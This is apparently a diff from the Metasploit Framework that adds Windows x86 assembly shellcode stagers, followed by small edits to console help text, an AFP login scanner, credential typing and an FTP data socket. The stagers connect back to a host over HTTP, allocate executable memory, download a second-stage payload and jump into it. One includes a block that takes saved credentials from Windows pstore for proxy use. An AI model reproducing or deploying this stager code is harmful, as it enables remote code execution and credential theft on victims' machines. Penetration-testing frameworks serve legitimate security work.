set_retry:
|
||||
push byte 0x10
|
||||
pop ebx
|
||||
|
||||
httpsendrequest:
|
||||
xor edi, edi
|
||||
push edi ; optional length
|
||||
push edi ; optional
|
||||
push edi ; dwHeadersLength
|
||||
push edi ; headers
|
||||
push esi ; hHttpRequest
|
||||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz short allocate_memory
|
||||
|
||||
try_it_again:
|
||||
dec ebx
|
||||
jz failure
|
||||
jmp short httpsendrequest
|
||||
|
||||
dbl_get_server_host:
|
||||
jmp get_server_host
|
||||
|
||||
get_server_uri:
|
||||
call httpopenrequest
|
||||
|
||||
server_uri:
|
||||
db "/12345", 0x00
|
||||
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
|
||||
allocate_memory:
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (8Mb ought to do us)
|
||||
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; &bytesRead
|
||||
push 8192 ; read length
|
||||
push ebx ; buffer
|
||||
push esi ; hRequest
|
||||
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
|
||||
call ebp
|
||||
|
||||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
get_server_host:
|
||||
|
||||
;//////////////////////////////////
|
||||
;//get proxy credentials from stack
|
||||
;//////////////////////////////////
|
||||
get_proxy_auth:
|
||||
pop esi ; delete the top 3 stack elements as they are
|
||||
pop esi ; garbage from this block
|
||||
pop esi
|
||||
|
||||
pop ecx ; save pointer to password in ecx
|
||||
pop edx ; save pointer to username in edx
|
||||
;/////////////////////////////////////////////////
|
||||
; we use the credentials only in internetconnect//
|
||||
;/////////////////////////////////////////////////
|
||||
|
||||
call internetconnect
|
||||
|
||||
server_host:
|
||||
|
|
@ -0,0 +1,138 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Borja Merino (modification of the HD Moore HTTP stager based on WinINet)
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
%define u(x) __utf16__(x)
|
||||
%define HTTP_OPEN_FLAGS 0x00000100
|
||||
;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
load_winhttp:
|
||||
push 0x00707474 ; Push the string 'winhttp',0
|
||||
push 0x686E6977 ; ...
|
||||
push esp ; Push a pointer to the "winhttp" string
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "winhttp" )
|
||||
|
||||
set_retry:
|
||||
push byte 6 ; retry 6 times
|
||||
pop EDI
|
||||
xor ebx, ebx
|
||||
mov ecx, edi
|
||||
|
||||
push_zeros:
|
||||
push ebx ; NULL values for the WinHttpOpen API parameters
|
||||
loop push_zeros
|
||||
|
||||
WinHttpOpen:
|
||||
; Flags [5]
|
||||
; ProxyBypass (NULL) [4]
|
||||
; ProxyName (NULL) [3]
|
||||
; AccessType (DEFAULT_PROXY= 0) [2]
|
||||
; UserAgent (NULL) [1]
|
||||
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
|
||||
call ebp
|
||||
|
||||
WinHttpConnect:
|
||||
push ebx ; Reserved (NULL) [4]
|
||||
push dword 4444 ; Port [3]
|
||||
call got_server_uri ; Double call to get pointer for both server_uri and
|
||||
server_uri: ; server_host; server_uri is saved in EDI for later
|
||||
dw u('/12345'), 0
|
||||
got_server_host:
|
||||
push eax ; Session handle returned by WinHttpOpen [1]
|
||||
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
|
||||
call ebp
|
||||
|
||||
WinHttpOpenRequest:
|
||||
|
||||
push HTTP_OPEN_FLAGS ; Flags [7]
|
||||
push ebx ; AcceptTypes (NULL) [6]
|
||||
push ebx ; Referrer (NULL) [5]
|
||||
push ebx ; Version (NULL) [4]
|
||||
push edi ; ObjectName (URI) [3]
|
||||
push ebx ; Verb (GET method) (NULL) [2]
|
||||
push eax ; Connect handler returned by WinHttpConnect [1]
|
||||
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
|
||||
call ebp
|
||||
xchg esi, eax ; save HttpRequest handler in esi
|
||||
|
||||
send_request:
|
||||
|
||||
WinHttpSendRequest:
|
||||
push ebx ; Context [7]
|
||||
push ebx ; TotalLength [6]
|
||||
push ebx ; OptionalLength (0) [5]
|
||||
push ebx ; Optional (NULL) [4]
|
||||
push ebx ; HeadersLength (0) [3]
|
||||
push ebx ; Headers (NULL) [2]
|
||||
push esi ; HttpRequest handler returned by WinHttpOpenRequest [1]
|
||||
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz short receive_response ; if TRUE call WinHttpReceiveResponse API
|
||||
|
||||
try_it_again:
|
||||
dec edi
|
||||
jnz send_request
|
||||
|
||||
; if we didn't allocate before running out of retries, fall through to
|
||||
; failure
|
||||
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
|
||||
receive_response:
|
||||
; The API WinHttpReceiveResponse needs to be called
|
||||
; first to get a valid handler for WinHttpReadData
|
||||
push ebx ; Reserved (NULL) [2]
|
||||
push esi ; Request handler returned by WinHttpSendRequest [1]
|
||||
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jz failure
|
||||
|
||||
allocate_memory:
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; NumberOfBytesRead (bytesRead)
|
||||
push 8192 ; NumberOfBytesToRead
|
||||
push ebx ; Buffer
|
||||
push esi ; Request handler returned by WinHttpReceiveResponse
|
||||
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
|
||||
call ebp
|
||||
|
||||
test eax,eax ; if download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
got_server_uri:
|
||||
pop edi
|
||||
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
|
||||
|
||||
server_host:
|
18
external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm
vendored
Normal file
18
external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm
vendored
Normal file
|
@ -0,0 +1,18 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Unknown
|
||||
; Compatible: Windows Server 2003, IE Versions 4 to 6
|
||||
; Build: >build.py stager_reverse_http_proxy_pstore
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_get_pstore_creds.asm"
|
||||
%include "./src/block/block_reverse_http_use_proxy_creds.asm"
|
||||
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Borja Merino (bmerinofe[at]gmail.com). [WinHttp stager (Http)]
|
||||
; Version: 1.0 (January 2015)
|
||||
; Size: 323 bytes
|
||||
; Build: >build.py stager_reverse_winhttp_http
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_reverse_winhttp_http.asm"
|
||||
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
|
||||
|
|
@ -33,7 +33,7 @@ _arguments \
|
|||
{-o,--output}"[Output to the specified file]:output file" \
|
||||
{-p,--plugin}"[Load a plugin on startup]:plugin file:_files" \
|
||||
{-q,--quiet}"[Do not print the banner on start up]" \
|
||||
{-r,--resource}"[Execute the specified resource file]:resource file:_files" \
|
||||
{-r,--resource}"[Execute the specified resource file (- for stdin)]:resource file:_files" \
|
||||
{-v,--version}"[Show version]" \
|
||||
{-x,--execute-command}"[Execute the specified string as console commands]:commands" \
|
||||
{-y,--yaml}"[Specify a YAML file containing database settings]:yaml file:_files"
|
||||
|
|
|
@ -19,7 +19,7 @@ Feature: Help command
|
|||
connect Communicate with a host
|
||||
edit Edit the current module with $VISUAL or $EDITOR
|
||||
exit Exit the console
|
||||
get Gets the value of a variable
|
||||
get Gets the value of a context-specific variable
|
||||
getg Gets the value of a global variable
|
||||
go_pro Launch Metasploit web GUI
|
||||
grep Grep the output of another command
|
||||
|
@ -36,19 +36,20 @@ Feature: Help command
|
|||
pushm Pushes the active or list of modules onto the module stack
|
||||
quit Exit the console
|
||||
reload_all Reloads all modules from all defined module paths
|
||||
rename_job Rename a job
|
||||
resource Run the commands stored in a file
|
||||
route Route traffic through a session
|
||||
save Saves the active datastores
|
||||
search Searches module names and descriptions
|
||||
sessions Dump session listings and display information about sessions
|
||||
set Sets a variable to a value
|
||||
set Sets a context-specific variable to a value
|
||||
setg Sets a global variable to a value
|
||||
show Displays modules of a given type, or all modules
|
||||
sleep Do nothing for the specified number of seconds
|
||||
spool Write console output into a file as well the screen
|
||||
threads View and manipulate background threads
|
||||
unload Unload a framework plugin
|
||||
unset Unsets one or more variables
|
||||
unset Unsets one or more context-specific variables
|
||||
unsetg Unsets one or more global variables
|
||||
use Selects a module by name
|
||||
version Show the framework and console library version numbers
|
||||
|
|
|
@ -77,8 +77,7 @@ module Metasploit
|
|||
begin
|
||||
response = sock.timed_read(1024, self.login_timeout)
|
||||
rescue Timeout::Error
|
||||
#vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
|
@ -87,8 +86,7 @@ module Metasploit
|
|||
when -5001 #kFPAuthContinue
|
||||
return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma,
|
||||
:password => pass, :user => user})
|
||||
when -5023 #kFPUserNotAuth (User dosen't exists)
|
||||
#print_status("AFP #{rhost}:#{rport} User #{user} dosen't exists")
|
||||
when -5023 #kFPUserNotAuth (User dosen't exists)
|
||||
return :skip_user
|
||||
else
|
||||
return :connection_error
|
||||
|
@ -123,8 +121,7 @@ module Metasploit
|
|||
begin
|
||||
response = sock.timed_read(1024, self.login_timeout)
|
||||
rescue Timeout::Error
|
||||
vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
|
@ -180,8 +177,7 @@ module Metasploit
|
|||
begin
|
||||
response = sock.timed_read(1024, self.login_timeout)
|
||||
rescue Timeout::Error
|
||||
vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
|
@ -201,7 +197,7 @@ module Metasploit
|
|||
parsed_data = {}
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
raise "AFP #{rhost}:#{rport} Server response with error" if error_code != 0
|
||||
raise RuntimeError, "AFP Server response with error" if error_code != 0
|
||||
body = get_body(response, length)
|
||||
machine_type_offset, afp_versions_offset, uam_count_offset, icon_offset, server_flags =
|
||||
body.unpack('nnnnn')
|
||||
|
@ -243,7 +239,7 @@ module Metasploit
|
|||
|
||||
def get_body(packet, body_length)
|
||||
body = packet[16..body_length + 15]
|
||||
raise "AFP #{rhost}:#{rport} Invalid body length" if body.length != body_length
|
||||
raise RuntimeError, "AFP Invalid body length" if body.length != body_length
|
||||
return body
|
||||
end
|
||||
|
||||
|
@ -291,7 +287,7 @@ module Metasploit
|
|||
when 7 # IPv6 address (16 bytes) followed by a two-byte port number
|
||||
parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]:#{address[17..18].unpack("n").first}"
|
||||
else # Something wrong?
|
||||
raise "Error parsing network addresses"
|
||||
raise RuntimeError, "Error parsing network addresses"
|
||||
end
|
||||
end
|
||||
return parsed_addreses
|
||||
|
|
|
@ -51,7 +51,7 @@ module Metasploit
|
|||
# These values should be #demodularized from subclasses of
|
||||
# `Metasploit::Credential::Private`
|
||||
validates :private_type,
|
||||
inclusion: { in: [ :password, :ntlm_hash, :ssh_key ] },
|
||||
inclusion: { in: [ :password, :ntlm_hash, :postgres_md5, :ssh_key ] },
|
||||
if: "private_type.present?"
|
||||
|
||||
# If we have no private we MUST have a public
|
||||
|
|
|
@ -79,7 +79,7 @@ class Metasploit::Framework::CredentialCollection
|
|||
# Adds a string as an addition private credential
|
||||
# to be combined in the collection.
|
||||
#
|
||||
# @param [String] :private_str the string to use as a private
|
||||
# @param [String] private_str the string to use as a private
|
||||
# @return [void]
|
||||
def add_private(private_str='')
|
||||
additional_privates << private_str
|
||||
|
@ -88,7 +88,7 @@ class Metasploit::Framework::CredentialCollection
|
|||
# Adds a string as an addition public credential
|
||||
# to be combined in the collection.
|
||||
#
|
||||
# @param [String] :public_str the string to use as a public
|
||||
# @param [String] public_str the string to use as a public
|
||||
# @return [void]
|
||||
def add_public(public_str='')
|
||||
additional_publics << public_str
|
||||
|
@ -210,6 +210,8 @@ class Metasploit::Framework::CredentialCollection
|
|||
def private_type(private)
|
||||
if private =~ /[0-9a-f]{32}:[0-9a-f]{32}/
|
||||
:ntlm_hash
|
||||
elsif private =~ /^md5([a-f0-9]{32})$/
|
||||
:postgres_md5
|
||||
else
|
||||
:password
|
||||
end
|
||||
|
|
|
@ -44,7 +44,11 @@ module Metasploit
|
|||
# convert port to FTP syntax
|
||||
datahost = "#{$1}.#{$2}.#{$3}.#{$4}"
|
||||
dataport = ($5.to_i * 256) + $6.to_i
|
||||
self.datasocket = Rex::Socket::Tcp.create('PeerHost' => datahost, 'PeerPort' => dataport)
|
||||
self.datasocket = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => datahost,
|
||||
'PeerPort' => dataport,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }
|
||||
)
|
||||
end
|
||||
self.datasocket
|
||||
end
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue